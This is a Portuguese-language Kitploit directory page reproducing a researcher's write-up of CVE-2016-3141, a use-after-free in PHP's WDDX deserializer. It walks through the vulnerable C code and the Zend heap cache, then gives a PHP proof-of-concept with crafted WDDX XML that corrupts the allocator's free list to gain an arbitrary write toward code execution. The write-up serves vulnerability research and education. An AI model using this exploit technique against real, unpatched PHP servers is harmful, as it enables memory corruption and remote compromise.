Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2016-3141 — CVE-2016-3141 | Kitploit
Ferramentas/GitHubGitHub/peternguyen93/cve-2016-3141
Forensia de MemóriaAnálise de VulnerabilidadesAnálise de CódigoExploraçãoAprendizado e EducaçãoExploração de Binários
GitHubpeternguyen93/cve-2016-3141

CVE-2016-3141

CVE-2016-3141

Ver Repositório
154há 10 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2016-3141

1. Detalhe da Vulnerabilidade.

Vulnerabilidade de use-after-free em wddx.c na extensão WDDX do PHP antes de 5.5.33 e 5.6.x anteriores a 5.6.19 permite que atacantes remotos causem negação de serviço (corrupção de memória e falha do aplicativo) ou possivelmente tenham outro impacto não especificado ao acionar uma chamada wddx_deserialize em dados XML contendo um elemento var elaborado.

2. Visão Geral do Bug.

Este é um bug de use-after-free, que ocorre quando o wddx tenta processar dados XML. Observe este código na função php_wddx_deserialize_ex. Quando wddx_deserialize($xml) recebe alguns dados XML, o PHP chama esta função e então define algumas funções para lidar com tags e dados XML.

root@kitploit:~
	XML_SetUserData(parser, &stack);
	XML_SetElementHandler(parser, php_wddx_push_element, php_wddx_pop_element);
	XML_SetCharacterDataHandler(parser, php_wddx_process_data);

A função php_wddx_push_element cria uma entrada para uma tag, como você pode ver neste trecho. Por exemplo, quando você insere <string>Hello World</string>, ao atingir a tag de abertura ela chamará php\_wddx\_push\_element para criar uma entrada st_entry que armazena informações de uma tag; vejamos alguns trechos de código abaixo.

root@kitploit:~
static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
	st_entry ent;
	wddx_stack *stack = (wddx_stack *)user_data;
	
	----SNIP----
	else if (!strcmp(name, EL_STRING)) {
		ent.type = ST_STRING;
		SET_STACK_VARNAME;
	
		ALLOC_ZVAL(ent.data);
		INIT_PZVAL(ent.data);
		Z_TYPE_P(ent.data) = IS_STRING;
		Z_STRVAL_P(ent.data) = STR_EMPTY_ALLOC();
		Z_STRLEN_P(ent.data) = 0;
		wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st\_entry));
	} 
	----SNIP----
}

SET_STACK_VARNAME é um procedimento definido abaixo. Esse procedimento verifica simplesmente o stack->varname de uma tag; se não for NULL, ele clona esse stack->varname e então o libera.

root@kitploit:~
#define SET_STACK_VARNAME							\
		if (stack->varname) {						\
			ent.varname = estrdup(stack->varname);	\
			efree(stack->varname);					\
			stack->varname = NULL;					\
		} else										\
			ent.varname = NULL;						\

O bug acontece em php_wddx_pop_element. Quando o XML fecha uma tag var, ele libera o varname dessa tag, e esse ponteiro liberado ainda permanece em stack->varname. Por exemplo, se você criar uma var como <var name='UAF'></var>, php_wddx_push_element criará uma struct que armazena essa tag var; então, quando você fecha essa tag, ela a libera, mas esquece de definir stack->name = NULL ou decrementar stack->top; depois disso, se você criar outra tag, como <string>, a função SET_STACK_VARNAME reutilizará esse ponteiro liberado.

root@kitploit:~
static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
	# ***SNIP***
	} else if (!strcmp(name, EL_VAR) && stack->varname) {
		efree(stack->varname);
	}
	# ***SNIP***
}

3. A Exploração

Quando vi esse bug pela primeira vez, pensei: "não posso transformar esse bug em execução de código?". Primeiro, tenho que entender como o heap do Zend é implementado; vejamos a função _zend_mm_alloc_int em zend_alloc.c abaixo.

root@kitploit:~
if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
		size_t index = ZEND_MM_BUCKET_INDEX(true_size);
		size_t bitmap;
		if (UNEXPECTED(true_size < size)) {
			goto out_of_memory;
		}
#if ZEND_MM_CACHE
		if (EXPECTED(heap->cache[index] != NULL)) {
			/* Get block from cache */
#if ZEND_MM_CACHE_STAT
			heap->cache_stat[index].count--;
			heap->cache_stat[index].hit++;
#endif
			best_fit = heap->cache[index];
			heap->cache[index] = best_fit->prev_free_block;
			heap->cached -= true_size;
			ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED);
			ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0);
			HANDLE_UNBLOCK_INTERRUPTIONS();
			return ZEND_MM_DATA_OF(best_fit);
 		}

Se alocarmos um chunk de tamanho pequeno (menos de 256 bytes), o zend_alloc usará heap->cache, que é uma lista de chunks livres que armazena muitas listas encadeadas de pequenos chunks livres; esse heap->cache é como o fast_bin do malloc. Se de alguma forma pudermos sobrescrever o ponteiro best_fit->prev_free_block com nosso próprio endereço, então o zend_alloc será chamado novamente e poderemos usar esse endereço para escrever em algum lugar da memória.

Para fazer isso, criarei o XML wddx abaixo:

root@kitploit:~
$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
	<array>
		<binary>HERE</binary> # (1)
		<var name='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'></var> #(2)
		<binary>REPLACE</binary> # (3)
		<var name='SUCK'></var> # (4)
		<boolean value='a'/>
		<boolean value='true'/>
	</array>
</wddxPacket>
EOF;

$binary_value = base64_encode(str_repeat("A",32));

$xml = str_replace("HERE",$binary_value,$xml);
$xml = str_replace("REPLACE",base64_encode(str_repeat("Z",64)),$xml);

$wddx = wddx_deserialize($xml); 

foreach($wddx as $k => $v){
	$k = "".str_repeat("C",6); (5)
	
	$t = (string)$v; (6)
	$g = (string)$v; (7)
}
  1. Crie 32 bytes (chunk_a) com a tag binary, porque essa tag permite inserir caracteres não imprimíveis.
  2. Crie um name com o mesmo tamanho da primeira tag binary e então faça o valor desse name ser liberado (chunk_b).
  3. Crie um chunk de preenchimento com 64 bytes (chunk_c).
  4. Crie um name com 8 bytes e então o libere (chunk_d).
  5. Após desserializar este $xml, faço um loop foreach nesse objeto; no primeiro loop, tenho $k agora apontando para chunk_b que foi liberado, $v agora apontando para chunk_a; uso o operador concat_function para sobrescrever best_fit->prev_free_block com meus próprios dados.
  6. Use a conversão de string do PHP, que chama estrncpy, para criar um novo chunk (chunk_e) que agora aponta para chunk_b e faça heap->cache[index] armazenar seu próprio valor.
  7. Ok, faça isso novamente com estrncpy($v,32) ($v=$binary_value); o primeiro zend_alloc de novo e temos uma falha $r12 = 0x4343434343; se substituirmos esse valor por outro endereço, estrncpy ficará feliz em chamar memcpy(r12,v,size), e com isso podemos sobrescrever qualquer lugar que quisermos.

Crash

Você pode ver meu exploit completo aqui peter_code_execute.php (Testado no Ubuntu 14.04.4 x86_64 - PHP 5.5.9-1ubuntu4.14).

Por fim, transformei esse bug em execução de código com sucesso. Result

4. Referências

http://www.cvedetails.com/cve/CVE-2016-3141/.

https://bugs.php.net/bug.php?id=71587.

Baixar ferramenta